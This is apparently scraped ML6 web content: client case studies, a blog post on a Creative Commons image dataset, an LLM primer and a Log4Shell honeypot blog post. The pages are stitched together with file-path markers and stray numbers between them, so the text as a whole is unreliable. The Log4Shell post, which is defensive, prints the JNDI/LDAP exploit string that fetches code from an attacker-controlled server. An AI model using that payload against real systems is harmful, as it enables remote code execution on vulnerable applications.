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* SageMaker Jumpstart User Interface: A graphical interface for a user-friendly experience.
* SageMaker Python SDK: For more control and customization through code.
Key Findings :
* It is designed to cater to individuals who lean towards minimal coding (low code) and those who aim to steer clear of coding altogether (no code). It also benefits seasoned machine learning practitioners and individuals aiming to rapidly develop proof of concepts.
* It provides a curated collection of resources and tools, including solution templates, built-in algorithms and pre-trained models, foundation models, and others.
* Although, SageMaker Jumpstart’s built-in algorithms, pre-trained models and solution templates provide convenience, but they may not suffice for highly specialized or unique use cases that demand significant customization.
Read the full blog on our Medium channel here.
## Related posts
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No results found. | scraping/output/-7685331387221006903.txt | [
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Thank you! Your submission has been received! | scraping/output/-7685331387221006903.txt | [
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# Building autonomous combines with CNH Industrial
## Impact | scraping/output/-2753243732701886424.txt | [
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] |
Partners
ML6 For Good
Careers
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Team
Working at ML6
Taal
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Contact us
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All client cases
CNH
# Building autonomous combines with CNH Industrial
## Impact
CNH Industrial sought ML6's assistance in efficiently transferring an
algorithm from training environments to embedded hardware systems in combines,
enabling them to rapidly acquire the required knowledge and successfully
deploy the algorithm on a multispectral camera, ultimately accelerating
production and gaining expertise for future embedded system deployments.
## Intro to the customer
CNH Industrial is a global leader in capital goods that implements design,
manufacturing, distribution, commercial and financial activities in
international markets. Through their 12 brands, CNH Industrial makes the
vehicles that keep agriculture and industry growing.
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Among other projects, CNH Industrial is working towards combines that work
autonomously, like a “factory on wheels”. To do so, they are developing a wide
range of automatic features for combines. The Electronics group, responsible
for bringing Proof of Concepts into production, worked with ML6 to accelerate
the integration of their AI algorithms into existing embedded hardware.
## Challenge
With innovation high on the agenda, CNH Industrial has developed strong AI
capabilities in-house. As the use cases are custom and complex, the
organization looks to build up internal knowledge on how to build, deploy,
monitor and improve algorithms. More specifically, CNH Industrial was looking
to build internal knowledge on how to move algorithms from training
environments to embedded hardware systems in combines.
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"Working with ML6 is investing in our own people. We believe it’s important
that we have internal knowledge, and through our collaboration we received a
knowledge transfer in a very efficient way to bring our people to a higher
level. We buy knowledge, we buy flexibility, we make an investment in our
people towards the future."
Combine Automation Lead Engineer
By
CNHi
## Solution
To build up that knowledge as quickly and efficiently as possible, CNH
Industrial turned to ML6 to help move an algorithm to a multispectral camera.
ML6 helped downscale and optimize the algorithm and helped get it embedded by
working together with the camera provider.
By
## Results
Through the collaboration, CNH was able to go into production much faster.
They now also have the necessary expertise to deploy algorithms on an embedded
system for future use cases.
Accelerating businesses with AI technology & experts
Contact:
[email protected]
+32 9 265 95 50
Contact us
Join our newsletter | scraping/output/-2753243732701886424.txt | [
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Saroléa Motorcycles
# Optimizing the battery life of Saroléa motorcycles with AI
## Impact | scraping/output/829863365084367005.txt | [
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] |
Careers
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All client cases
Saroléa Motorcycles
# Optimizing the battery life of Saroléa motorcycles with AI
## Impact
ML6 and Saroléa started to implement machine learning on the Saroléa
superbikes in 2018, with the initial focus on improving battery performance.
To date, The battery response models are being used to better estimate the
behaviour of the battery under certain conditions and, ultimately, to optimize
the control loops.
## Intro to the customer
Saroléa is an automotive engineering company, specialised in the development
of high-performance electric vehicles.
## Challenge | scraping/output/829863365084367005.txt | [
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## Intro to the customer
Saroléa is an automotive engineering company, specialised in the development
of high-performance electric vehicles.
## Challenge
Performance and autonomy are extremely important to the commercial success of
any electric vehicle. Saroléa develop high-performance electric vehicles with
their flagships being their electric superbikes: the MANX7 and the recent N60.
These bikes are equipped with the latest in technology, including high
frequency sensors and Saroléa’s own vehicle control unit which has recorded a
massive amount of data over the course of several years. Saroléa want to
leverage this data to optimize their bikes, and ultimately to offer this as an
add-on package for the vehicle control unit.
By
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By
## Solution
ML6 and Saroléa started to implement machine learning on the Saroléa
superbikes in 2018, with the initial focus on improving battery performance.
To this extent, the vast sets of historical battery data were leveraged to
create models for battery response prediction that ultimately estimate the
state of charge, health and remaining range of the batteries.
By
## Results
These battery response models are being used to better estimate the behaviour
of the battery under certain conditions and, ultimately, to optimize the
control loops. Operational gains are still to be determined but initial
results are encouraging.
Accelerating businesses with AI technology & experts
Contact:
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Navigate Intelligence Activate IntelligenceBuild Intelligence | scraping/output/829863365084367005.txt | [
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Funke Medien Gruppe
# Building an AI-driven content platform for Funke Mediengruppe
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Funke Medien Gruppe
# Building an AI-driven content platform for Funke Mediengruppe
## Impact
Thanks to the AI solution, it is possible for the Funke group to process and
analyse content in near real time in a way that wasn't possible before. The
platform and its reusable components allow Funke to quickly test and implement
new content ideas or products in record time.
## Intro to the customer
Funke Mediengruppe is one of the largest publishing houses in Germany, with a
focus on regional media, magazines and digital. The group issues twelve daily
newspapers as well as more than 50 magazines - in print and digitally. As a
digital frontrunner, Funke embraces the importance of investing in the right
innovation, and sees Artificial Intelligence and Cloud Technology as key steps
to accelerate its journey.
## Challenge | scraping/output/-4131955529624671139.txt | [
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## Challenge
The media industry is going through significant change. New capabilities and
solutions are needed to keep up with the rapidly developing environment,
changing customer demands, and competitive pressure.
Speed-to-publishing and efficiency in production are getting ever more
important, as is providing relevant and personalized content to customers. In
order to keep and expand a competitive advantage in this environment, it is
fundamental to have the capability to rapidly analyse and understand large
amounts of content.
Funke Mediengruppe started to collaborate with ML6 to explore how to leverage
intelligent technology for working with content, in order to enable new ideas
and products - convinced that current and future market challenges could be
solved through the smart use of Machine Learning and Natural Language
Processing.
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“Our AI-driven platform is a unique example of business ideas meeting
technology resulting in the capability to analyse content continuously”
CIO at Funke
By
Funke Mediengruppe - Heiko Testimonial
## Solution
Funke and ML6, in very close collaboration, built an AI-driven content
platform. The platform is composed of different capabilities to understand and
curate content, which serves as the basis for many future use cases and new
product ideas. | scraping/output/-4131955529624671139.txt | [
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The goal of the platform is to analyse and understand incoming content streams
from different sources with Machine Learning, allowing for near real time
processing and curation of large amounts of information automatically. The
platform can process various content types, such as text and images. State of
the art NLP and Machine Learning knowledge has been used to build the
different capabilities of the platform, such as keyword extraction, topic
clustering, content matching as well as text generation and summarization.
The development of each capability was strongly focused on reusability, making
sure that each component can be leveraged later on. This was particularly
important, as the platform idea was specifically aiming at enabling future
potential use cases which rely on content understanding, syndication and
generation.
Both parties complemented each other during the development of the platform - | scraping/output/-4131955529624671139.txt | [
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potential use cases which rely on content understanding, syndication and
generation.
Both parties complemented each other during the development of the platform -
the passion for news, irreplaceable business knowledge and ideas from the
Funke team and the technology expertise from ML6 combined allowed us to build
a relevant, robust and future-proof solution. | scraping/output/-4131955529624671139.txt | [
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The platform and its services are built on Google Cloud Platform and is
integrated to the existing system landscape supporting the content
lifecycle.Special attention has also been paid to Security, leveraging best
practices and using advanced security capabilities on GCP, resulting in a
highly secure and reliable system.
By
## Results
As a result, it will be possible to process and analyse content in near real
time in a way that wasn’t possible before. The platform and its reusable
components will allow Funke to quickly test and implement new content ideas or
products in record time.
The creation of the AI solution was done in a gradual way, with Funke and ML6
working closely together in every step of the way to make sure Funke’s
industry skills and ML6’s AI expertise were fully integrated and leveraged. A
strong focus has also been placed on knowledge transfer and upskilling the
Funke team on AI and MLOps topics.
Accelerating businesses with AI technology & experts
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June 29, 2023
# AI image generation without copyright infringement
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### Building a Creative Commons dataset for retraining Stable Diffusion using
the open source dataset creation framework Fondant
Image created by Stable Diffusion showing a recreation of Getty Images’
watermark. Image: The Verge / Stable Diffusion (Image by James Vincent) | scraping/output/7039115891683340216.txt | [
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Image created by Stable Diffusion showing a recreation of Getty Images’
watermark. Image: The Verge / Stable Diffusion (Image by James Vincent)
AI image generation has taken the world by storm with services like
Midjourney, DALL-E and Dream Studio (Stable Diffusion). Their underlying
generative AI models have been trained on hundreds of millions of images from
the public internet. Many of these images are not free from copyright and this
creates legal uncertainties for the users of image generation systems as it is
unclear if copyright laws apply, especially internationally. Additionally,
legal action has been announced by copyright holders against providers like
Midjourney and Stability AI. | scraping/output/7039115891683340216.txt | [
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These issues have made businesses cautious when it comes to incorporating
generative AI models in their workflow. This is unfortunate as AI Image
generation can lead to significant gains in productivity, for example by
assisting designers in conceptualising and prototyping to speed up design
cycles and improve quality.
One possible solution is to train a model on just proprietary data like
Shutterstock’s image generator. However, only a few players possess hundreds
of millions of images with meaningful descriptions. Another option is to start
from permissively licensed, publicly available images.
The largest repository of free-to-use images is Openverse. It holds
approximately 600 million Creative Commons (CC) licensed works but it has
several limitations in that it relies on a small selection of websites and
restricts users to only 10.000 downloads per day. | scraping/output/7039115891683340216.txt | [
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] |
The solution we present in this post aims to overcome the above limitations by
collecting a large, permissively licensed dataset from the public internet.
### Creative Commons
When it comes to permissive licences, various options are available based on
your specific use case. One widely recognized and utilised category is the
Creative Commons (CC) licences. These licences are generally considered to
hold international legal validity and are commonly used for images. They were
established by the Creative Commons organisation, an esteemed international
nonprofit entity. It is reported that over 2 Billion creative works have
already been licensed under Creative Commons licence
With its widespread adoption by platforms such as Wikimedia and Flickr,
Creative Commons licences enable us to potentially amass a substantial
collection of copyright-free images, making them suitable for various image
generation tools.
The primary licence categories we focus on are as follows: | scraping/output/7039115891683340216.txt | [
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] |
The primary licence categories we focus on are as follows:
Common Creative Common licence categories and their restrictions.
If you are interested in all licence categories or a more detailed description
of each licence, you can look at the official CC licence page: About CC
Licences. The CC licences could have any combination of previously mentioned
categories. Example: BY-SA-NC-ND.
For our purposes, we are primarily looking to use the Public Domain, BY and
BY-SA licences. These licences grant us the ability to modify the images and
use them for commercial purposes, aligning with our use case.
### Our Approach | scraping/output/7039115891683340216.txt | [
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### Our Approach
Many large open source datasets have been created by scanning Common Crawl
files for images. Those files are archived web pages of websites that contain
the HTML code of each web page. By scanning a large number of archived web
pages, it is possible to extract image URLs and pair them with their
corresponding textual content, thus generating a comprehensive dataset of
image URL-to-text pairs.
Once the list of image URLs is obtained, the dataset can be made available to
the public and anyone could download the images and train their own AI models.
However, these datasets contain little to no image licence information. As a
result, if we want a significantly large dataset of images with their licence
information included, we would have to take additional steps. | scraping/output/7039115891683340216.txt | [
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Our approach consists of selectively retrieving images that are accompanied by
Creative Commons (CC) licences on the respective web pages. By filtering the
dataset based on this criterion, we should end up with images that can be used
for training an AI image generation model similar to Stable Diffusion without
infringing upon anyone’s intellectual property.
To achieve this, we examine specific sections of the web page, namely footers,
aside tags, or sidebar tags. The licences located within the aside and sidebar
sections are only collected if the licence is nested within an HTML tag no
more than five times. This allows us to capture pertinent details related to
the licence. Gathering all the image URLs present on the web page enables us
to create a comprehensive dataset of image-licence pairs.
### What is a footer, aside or sidebar?
For those less familiar with HTML code, here’s a brief explanation: | scraping/output/7039115891683340216.txt | [
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### What is a footer, aside or sidebar?
For those less familiar with HTML code, here’s a brief explanation:
* Footer tags: These are HTML blocks used to encapsulate information placed at the bottom of a web page. Typically, footers contain contact information, hyperlinks to other pages within the website, or even licences.
* Aside or sidebar tags: Similar to footers, these HTML tags serve a similar purpose. They often contain hyperlinks to other web pages or serve as side notes. As the name suggests, sidebars and asides are usually located on the left or right side of a website’s layout.
In the images below, you can see a general structure of a web page and an
example of how those sections can appear.
A structural representation of a web page in html code, Image source:
burlingtoncodeacademy
Example of an Asian pacific report website who has a Creative Commons licence
for all the content of its website. Asia Pacific Report
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] |
Example of an Asian pacific report website who has a Creative Commons licence
for all the content of its website. Asia Pacific Report
We noticed that websites which place their CC licence in these locations have
it apply to their whole web page. We tested this hypothesis by creating a
small test dataset of 1032 web pages. The dataset was created by randomly
selecting 5 different Common Crawl files from the past 3 years and extracting
the web pages which have a CC licence. The total number of Common Crawl files
we could select from was approximately 1.920.000 and each file contained about
36.300–49.500 useful web pages.
Flowchart of how the data was chosen for the test dataset.
We manually labelled the dataset based on the licence location on the web page
and whether the licence could be interpreted to represent the entire web page
or not.
Distribution of the location of CC licenses within the HTML code of a webpage.
| scraping/output/7039115891683340216.txt | [
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] |
Distribution of the location of CC licenses within the HTML code of a webpage.
We notice that most of the CC licences are located in the footer of the
webpage. The local licence refers to an image which is within the body (main
content/middle) of a web page. This licence usually only refers to 1 specific
image on the web page. There can also be different licences on the same web
page each referring to a different image.
Our initial approach was to establish a direct link between CC licences and
individual images. However, this proved to be exceedingly challenging due to
the diverse range of methods used for image referencing. Furthermore, the
licences did not always refer to images. | scraping/output/7039115891683340216.txt | [
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A problematic example we discovered were “poem” blogs. People often used a
copyrighted image at the top of their poem but referenced a CC licence below
it that was actually referring to the poem, not the image. This is only one of
the few examples which caused our algorithm to be only 80% accurate at
detecting local licences.
An example of a CC-licence referring to a poem instead of an image within the
body of a web page.
Because of those limitations, we decided to focus on identifying web pages
where the entire content falls under a single licence. We examined the
percentage of correctly interpreted CC licences and achieved a 96.32% accuracy
with our first draft of our algorithm if we only take footers, asides, and
sidebars into account.
It is important to note, however, that caution should be exercised when
interpreting the accuracy of this solution. Our dataset consisted of only
1,032 web pages, which may limit the extent to which our findings can be
generalised. | scraping/output/7039115891683340216.txt | [
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0.030963445082306862,
0.030292153358459473,
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] |
Barchart representing if a Creative Commons licence was correctly interpreted
to represent the whole web page or only 1 local image.
Now that we have an algorithm that can detect CC licensed web pages with
relatively high accuracy, the next step is gathering the image URLs of those
web pages. Once we have gathered all the image URLs from CC licenced web
pages, we store it in a parquet file.
Parquet file schema of return dataset
### Scaling up our solution
As our solution is intended to scan over billions of web pages, we need
scalability. We chose Fondant as framework to allow for easy scaling and local
development. We will contribute our components and pipeline on the Fondant
repository in the near future (ping us on the Fondant Discord in case you are
interested in preview access to this pipeline and components).
Here is a high level overview of the architecture of the Fondant pipeline and
(custom) components.
High level overview of the Fondant Pipeline | scraping/output/7039115891683340216.txt | [
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] |
Here is a high level overview of the architecture of the Fondant pipeline and
(custom) components.
High level overview of the Fondant Pipeline
### Downloading the images
Once you’ve run our tool, you’ll end up with a dataset containing a list of
image URLs and metadata associated with it (image size, licence type, licence
location …). You can then filter on the metadata to easily choose a specific
subset of data that aligns with your specific use case.
To download the list of image URLs, Fondant offers the download_images
component. This component can be used to download, resize, and package 100+
million image URLs within 20 hours on one machine or scale it on multiple
machines.
### Next Steps | scraping/output/7039115891683340216.txt | [
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] |
### Next Steps
We are currently in the process of polishing the free-to-use dataset tool as
different components and as a standard pipeline in Fondant, a framework that
facilitates collecting and preprocessing data for fine tuning foundation
models. It enables building pipelines with different reusable components for
data extraction, transformation, filtering, captioning and more.
The aim is to create our own Creative Commons licenced dataset which will be
made publicly available. For this, we will also be looking to further increase
accuracy, for example through watermark detection, as well as options for opt-
out mechanisms. Furthermore, we are planning to add extra features to the
dataset, including not safe for work (NSFW) image detection and aesthetics
assessment.
### Conclusion | scraping/output/7039115891683340216.txt | [
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] |
### Conclusion
The need for a large free-to-use dataset for AI image generation tools is
pertinent. Our solution addresses this need by collecting a large-scale
Creative Commons permissively licensed dataset while at the same time being
scalable, cloud agnostic and accurate.
We hope this will significantly enhance the legal security of image-to-text
datasets compared to existing solutions. By prioritising adherence to
licensing regulations, we strive to create a more reliable and trustworthy
environment for data utilisation.
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Data Protection & Security | scraping/output/7039115891683340216.txt | [
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rolling out the business strategy, coaching the ML6 leadership team on a day-
to-day basis and closely collaborating with some of our key customers. | scraping/output/5809844613140786392.txt | [
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] |
One of Simon's missions is to enable everyone at ML6 to take ownership and
responsibility for their respective part of the business, empowering them to
align their day-to-day decisions with company strategic goals by providing the
right context.
Simon had the opportunity to witness and contribute to the growth of ML6, he
has been working at the company since 2017 taking up multiple roles from
business development, operational improvement and finance. Before joining ML6,
Simon worked as a management consultant at Accenture with a strong focus on
consumer goods and life sciences companies. Next to that, Simon is also a
member of the AI Advisory Board for KU Leuven.
Simon holds a master in business engineering with a specialisation in
corporate finance from the KU Leuven. In addition, Simon has a degree in
gardening and is passionate about the welfare of animals.
Visit my LinkedIn profile
Our know-how
## Related posts
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] |
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# Large language models | scraping/output/-478635741196821616.txt | [
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] |
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# Large language models
ChatGPT has pushed large language models and also artificial intelligence in
general to the forefront in the media and daily conversation. A lot of us are
turning to ChatGPT already from time to time in our daily lives, whenever it
suits. Introducing the use of LLM’s in a systematic and controlled way within
companies is another ball game. This page provides an introduction into the
impressive potential of LLM and in how to set them up so that they do your
bidding.
What are LLM'sTraining LLM'sApplicationsChallengesSolutionGet in touch
Interested in a workshop to assess where LLMs can create value in your
business? A demo on ChatGPT on your company data ?
Reach out to our experts
## Understanding LLMs:
How do large language models work | scraping/output/-478635741196821616.txt | [
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Reach out to our experts
## Understanding LLMs:
How do large language models work
Nowadays, we don’t have to introduce ChatGPT anymore. Large Language Models
(LLMs), - the power behind tools like ChatGPT - are transforming the way
businesses operate by leveraging AI to understand both imagery and natural
language and to generate suitable output. These models have been pre-trained
on vast and varied data sets, giving them a varied diverse content knowledge.
In addition they have been designed to do a simple task - predicting the most
likely next word. The combination of these two characteristics provide them
with the capability to handle a broad range of tasks, hence making them into
the successful example of Generative Foundation models.
## What are large language models | scraping/output/-478635741196821616.txt | [
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## What are large language models
Large language models are advanced artificial intelligence (AI) systems that
have revolutionized natural language processing. These models, such as
OpenAI's GPT-4 (Generative Pre-trained Transformer 3) and its predecessors,
are designed to understand and generate human-like text, making them powerful
tools for a wide range of applications.
### Most used LLMs
Despite the recent attention and excitement surrounding Large Language Models,
their development is not new in the field of AI. OpenAI introduced the first
GPT-model in 2018, followed by GPT-2 in 2019. Even back in 2019, ML6 was
already working on leveraging LLMs for business use. For example, we fine
tuned the pre-trained English GPT-2 model to Dutch. Thanks to the exponential
growth of LLM capabilities, LLMs have recently gained significant momentum,
leading to the emergence of numerous new models, with sometimes weekly
releases. | scraping/output/-478635741196821616.txt | [
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Some of the most widely used LLMs that are currently making waves in the field
of AI, include:
### GPT-models
A family of LLMs introduced by OpenAI. With the recent releases of ChatGPT and
GPT-4, GPT-models have drawn a lot of interest from the AI community. Those
models have a proprietary licence, which is a non-open source licence that
requires users to pay a fee and impose some usage restrictions.
### LLaMA
An open-source collection of LLMs developed by Meta. LLaMA is designed to help
researchers in advancing their work in the subfield of LLMs. It is available
in multiple sizes, ranging from 7 to 65 billion parameters, and aims to
democratise the access to LLMs by requiring less computing power and
resources. LLaMA can only be used for research.
### PaLM-2 | scraping/output/-478635741196821616.txt | [
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] |
### PaLM-2
Next-generation Large Language Model developed by Google. PaLM-2 is built upon
Google's previous research in AI and has been announced during their annual
I/O keynote in May 2023. Google also released a paper introducing Med-PaLM-2,
a fine-tuned version on medical data.
It is important to note that the field of LLMs is rapidly evolving, and there
may be newer and even more advanced models available by the time of reading
this article.
Read our blogpost: ChatGPT & GPT-4: Gimmicks or game-changers?
## Align LLMs and their architecture to your desired outcome
While LLMs are capable of performing a broad range of tasks, assuring their
output is aligned with the desired output is key.
There are three main approaches to align the model’s output:
1\. Prompting,
2\. Retrieval-Augmented Generation (RAG)
3\. and the more advanced finetuning. | scraping/output/-478635741196821616.txt | [
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There are three main approaches to align the model’s output:
1\. Prompting,
2\. Retrieval-Augmented Generation (RAG)
3\. and the more advanced finetuning.
Combining your LLMs with the right knowledge (e.g. documents specific to your
business) and templates that define how it should act in certain cases (e.g.
using a prompt management system) allow your solution to reach its full
potential.
#### Prompting
A prompt is the text you provide to an LLM as input. Prompts can be short and
concise, or can be extensive, including additional context and requirements
you have regarding the output.
We describe two prompting techniques:
\- Zero-shot Prompting:equivalent with “describing a task to a student”
\- Few-shot Prompting: equivalent with “describing a task to a student and
supplying some examples of similar tasks and how they were carried out
#### Retrieval-Augmented Generation | scraping/output/-478635741196821616.txt | [
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#### Retrieval-Augmented Generation
A more advanced variant of prompting is called RAG. In short, a RAG
architecture introduces a component that fetches documentation (relevant for
the question that was asked) from your knowledge base. By placing this “Smart
Retriever” component in front of your conversational LLM, you impose that LLM
to base its response on the information present within your documentation.
Above, we present a schematic representation of a RAG (Retrieval-Augmented
Generation) architecture. | scraping/output/-478635741196821616.txt | [
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Above, we present a schematic representation of a RAG (Retrieval-Augmented
Generation) architecture.
The benefits from such an architecture are that (1) your LLM can explicitly
refer to the sources upon which it based its answer, (2) your LLM is unlikely
to hallucinate, because it receives the context within which it should stay
and (3) your complete solution remains maintainable because the “Smart
Retriever” component can be updated as your knowledge base grows.
Note that the RAG architecture is an example of few-shot prompting: the LLM is
presented with exemplary behaviour of how it should respond to questions and
additionally, the prompt is enriched with information that it should base its
answer on. More information can be found in our blogpost on Leveraging LLMs on
your domain-specific knowledge base.
For more information on that RAG-architecture, we refer to our ML6 blogpost on
Leveraging LLMs on your domain-specific knowledge base. | scraping/output/-478635741196821616.txt | [
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] |
For more information on that RAG-architecture, we refer to our ML6 blogpost on
Leveraging LLMs on your domain-specific knowledge base.
Read our blogpost: Leveraging LLMs on your domain-specific knowledge base
## How Large Language Models are trained for your case
Large Language Models are capable of a wide assortment of tasks, right out of
the box. To get them to behave exactly as you would want them to, however, you
should consider the techniques described above. However, when prompting or a
RAG approach are not fulfilling, (additional) fine-tuning techniques can be
considered. Finetuning alters the LLM itself by affecting the weights that
make up its neural network).
For the purpose of explaining things at an understandable level, we represent
the LLM as a high school student. | scraping/output/-478635741196821616.txt | [
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Without going into technical details here, we want to underline that in the
finetuning case, you are changing the actual capacities of the LLM/student.
You go further than just providing him “examples ad-hoc” like you do for the
few-shot prompting case. Instead, you present the student with input tasks and
correct his output based on the “correct” outputs that your fine-tuning
dataset describes. One could see this as “taking the student to the next
level”: allowing the student to specialise within the domain that your dataset
implicitly describes. The analogy between a high school graduate and a
university graduate is then straightforward.
In conclusion, we note that for many business cases, the “few-shot prompting”
approach may suffice to get your model to behave appropriately (e.g. when you
are looking for a conversational LLM that replies based on information
extracted from your knowledge base). In other cases, however, some specific | scraping/output/-478635741196821616.txt | [
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are looking for a conversational LLM that replies based on information
extracted from your knowledge base). In other cases, however, some specific
behaviour of your model may require fine-tuning of your model in order to make
it perform better.
If you want a practical example on how a RAG structure is build up and
incorporated in use cases, you can rewatch our webinar on demand on Generative
AI for corporate use: How to get started with LLM.
| scraping/output/-478635741196821616.txt | [
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] |
Watch the webinar: Generative AI for corporate use: How to get started with
LLM
## Large language model applications
### Chatbots and virtual assistants
Chatbots and virtual assistants powered by LLMs are able to understand and
respond to a wide range of customer or employee questions in an accessible,
conversational, multilingual and efficient manner, improving your customer
satisfaction or enhancing the productivity of your employees. Importantly,
these virtual assistants can be enhanced by providing them with a specific
source of data (e.g. your company knowledge base) to further raise the
accuracy of the provided responses. Check out our blogpost for more
information.
### Content creation engines | scraping/output/-478635741196821616.txt | [
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### Content creation engines
Content creation engines can generate high-quality human-like written content
for a variety of use cases, including marketing content, sales materials,
contract generation, media content or translations, which can speed up the
content creation process, and also allow for content variant creation in
different languages, and writing styles tuning to client segments or employee
groups with different preference and cultures .
Different approaches to content creation include: guided generation,
summarization, elongation, re-styling, translation and so on.
### Natural Language Interface to Complex Tooling
LLMs can be taught to interact with existing tooling and perform tasks based
purely on natural language input. Wielding the vast semantic capacity of LLMs,
one can teach them to thoroughly understand how to talk to a certain tool
(e.g. the API of a mechanical robot) and use the LLM to steer that tool as
they describe in natural language. | scraping/output/-478635741196821616.txt | [
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] |
### Natural Language interrogation of data sets
Use the power of LLM to analyse and understand extensive data sets and to
share with you the key insights using natural language messages. Steer the LLM
through focused questions to look for specific insights or ask the LLM to come
up with the most important observations it reads in the data set. LLMs are
surprisingly strong in this kind of analytical AI tasks, using it's generative
capacity to facilitate the dialogue with the user
### And many more!
The field of Large Language Models is rapidly expanding, with new solutions
and use cases emerging every two days. As a leading provider of ML services,
ML6 is committed to staying at the forefront of these developments, constantly
exploring new ways to apply LLMs to solve real-word business problems.
## Typical challenges LLM: Functional & Technical
While building an LLM solution, it is important to consider the following
typical challenges:
### Speed of research | scraping/output/-478635741196821616.txt | [
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] |
## Typical challenges LLM: Functional & Technical
While building an LLM solution, it is important to consider the following
typical challenges:
### Speed of research
The research and development in the field of LLMs is happening at a rapid
pace, and new models and functionalities are constantly being released.
Keeping up with the latest developments and choosing the most suitable model
for a specific use case might be overwhelming and thus requires necessary
expertise to make the right choices.
### Trustworthy AI
LLMs face ethical challenges, including the potential for biases and
perpetuating harmful stereotypes due to biassed training data, the risk of AI
hallucinations generating incorrect or nonsensical content that could be
maliciously exploited to spread misinformation, and the lack of knowledge of
recent events or facts. For that reason they are also receiving extra scrutiny
in the draft European AI Act
Read our GPT Guide
### Interpretability and explainability | scraping/output/-478635741196821616.txt | [
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Read our GPT Guide
### Interpretability and explainability
LLMs tend to be considered black boxes because it can be difficult to
interpret and understand how they generate their content. This can limit their
trustworthiness and accountability, especially in sensitive domains such as
healthcare, HR or finance. This limitation results in the necessity of having
a person in the loop of your solution. An ideal solution adheres to the laws
of robust AI and thus behaves appropriately even in unexpected or changing
environments.
## High level outline of solutions with LLMs
Large Language Model solutions are available in various forms:
### For some use cases, incorporating an existing LLM is all that is needed.
### For other use cases, fine-tuning an existing LLM is required.
### Yet in other scenarios, a custom language model trained from scratch may
be the way to go.
Crucial steps in building an LLM solutions include:
### Large Language Model Choice | scraping/output/-478635741196821616.txt | [
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] |
### Yet in other scenarios, a custom language model trained from scratch may
be the way to go.
Crucial steps in building an LLM solutions include:
### Large Language Model Choice
When choosing the right LLM for your use case, you need to take the following
tradeoffs into account: open-source models (eg. LLaMA) vs. commercial models
(eg. GPT), self-hosting vs. API-access, allowed commercial usage vs. only for
research, as well as model performance and latency, pricing and data ownership
and protection.
### Analysing Cost and TCO
To prevent unpleasant surprises, it’s crucial to take initial capital
expenditure and operating expenses into account when designing your solution.
Given how you intend your solution to be used, some options (eg. token-based
API use) may or may not be feasible options.
### Prompt Engineering | scraping/output/-478635741196821616.txt | [
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] |
### Prompt Engineering
Prompt Engineering involves defining, refining and optimising a prompt
template to get the most accurate and relevant results from the language
model. By providing additional information, you can steer the model answers
into the desired direction in terms of content, company style/tone and
structure.
### MLOps/LLMOps/FMOps | scraping/output/-478635741196821616.txt | [
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] |
### MLOps/LLMOps/FMOps
A crucial part of working with LLM solutions in production is related to
version control, fine-tuning pipelines, model swappability, performance
monitoring, … To bring (and keep!) your model into production, you have to
consider the fine-art of MLOps for LLMs.
Implementing a user feedback loop is invaluable here. Imagine a generative
solution that suggests content that users can correct however they see fit, we
would want to know exactly what was changed and feed that to the loop to re-
train it appropriately at the right time.
Read our in-depth expert blogpost on Foundation Model Operations ( FMOps) to
get a better understanding of FMOps, Foundation Models and the model.
\- Developing AI Systems in the Foundation Model Age : From MLOps to FMOps
[Pt.1]
\- Developing AI Systems in the Foundation Model Age : From MLOps to FMOps
[Pt.2]
### Data Processing | scraping/output/-478635741196821616.txt | [
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] |
### Data Processing
While some believe that AI is a model-centric field, it is our view that,
especially with the dawn of Foundation Models, the field is becoming
increasingly data-centric. Getting the right processes in place to process and
store the data relevant to your use case, such as third party or internal
data, still play a crucial role.
### Prompt Analytics
When working with non-deterministic systems it’s crucial to capture exactly
how your LLM solution is being used (input as well as output). For example,
you can monitor the usage of your LLM solution or even explore the content
provided to the solution, such as the top 10 most asked questions in the
context of a chatbot.
Questions?
# Get in touch with our experts | scraping/output/-478635741196821616.txt | [
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Log4Shell got security teams around the world on their toes. In this blog
post, we take a look at how and why we built a live threatmap on top of Google
Cloud to detect and visualize cyber attacks and log4j exploits.
> The single biggest, most critical vulnerability of the last decade.
That is how the Log4j vulnerability is described. Log4j is a package that is
often used in Java applications for logging. In brief, the vulnerability
allows for remote code execution on the machine running an affected
application. Attackers can simply do this by letting the application log a
malicious string that fetches and executes a java class from a remote server
under control of the attacker. The malicious string looks something like this:
${jndi:ldap://[ATTACKER SERVER]/[EXPLOIT FILE]} | scraping/output/-5917812906383159249.txt | [
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${jndi:ldap://[ATTACKER SERVER]/[EXPLOIT FILE]}
There are 2 reasons why this is the biggest, most critical vulnerability of
the last decade. One, the vulnerability is very easy to exploit. Two, almost
every Java application uses Log4j and thus is vulnerable to the exploit.
### Cloud Armor to detect and block Log4j exploits
Cloud Armor is a Web Application Firewall (WAF) that is part of the Google
Cloud stack. When enabled, it helps to protect applications deployed on Google
Cloud from attacks such as DDoS, XSS, SQL Injection, File Inclusion, Remote
Code Execution attacks.
The Google Cloud team came in clutch and published a WAF rule which can help
to detect and block exploit attempts of the Log4j vulnerability before the
request hits the backend.
For more information on how it works, you can read this great blogpost of
Google Cloud.
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For more information on how it works, you can read this great blogpost of
Google Cloud.
Of course, the job is not done by updating a WAF rule. The actual
vulnerability in the package should be patched. But this is tedious process
that takes a lot of time and potentially breaks your application in the
process. Cloud Armor gives you extra time to patch critical vulnerabilities
while keeping your applications secure.
### Visualizing Cloud Armor logs in a Threatmap
Of course, we took it a step further... We deployed a simple honeypot on our
Google Cloud environment to visualize the different types of attacks that are
executed on public facing applications.
The honey pot is protected with Cloud Armor rules, which detect and block
malicious requests. The logs of malicious requests, created by Cloud Armor,
are then visualized in real-time in this dashboard.
In the gif below you can see the result of similated attacks that we executed
ourselves:
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] |
In the gif below you can see the result of similated attacks that we executed
ourselves:
Regarding the real attacks: in the last 7 days we recorded 48 malicious
strings being sent to the honeypot that were trying to exploit the log4j
vulnerability, originating from 4 distinct remote IPs.
## Conclusion
The log4shell saga is bad, but it is to be expected that similar issues will
arise in the future. Hackers groups are probably already scanning through
popular open-source libraries to find the next big vulnerability that exposes
practically every company in the world. Google Cloud Armor is a great tool in
your arsenal to protect applications at the edge and mitigate risks of zeroday
vulnerabilities that might be lurking in open-source libraries.
For development teams it is important to be aware of the fact that these
attacks are very real and things can go south very quickly when not taking
security seriously.
| scraping/output/-5917812906383159249.txt | [
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] |
For development teams it is important to be aware of the fact that these
attacks are very real and things can go south very quickly when not taking
security seriously.
At ML6, the threatmap is displayed on big monitors at the offices. Not so
because it provides intelligence about threats, but because it is a great
awareness tool for technical teams. It’s a constant reminder that threats are
real and applications should be secured appropriately in every step of the
development and deployment lifecycle.
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Responsible/ Ethical AI | scraping/output/-5917812906383159249.txt | [
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April 14, 2023
# ChatGPT & GPT-4: Gimmicks or game-changers?
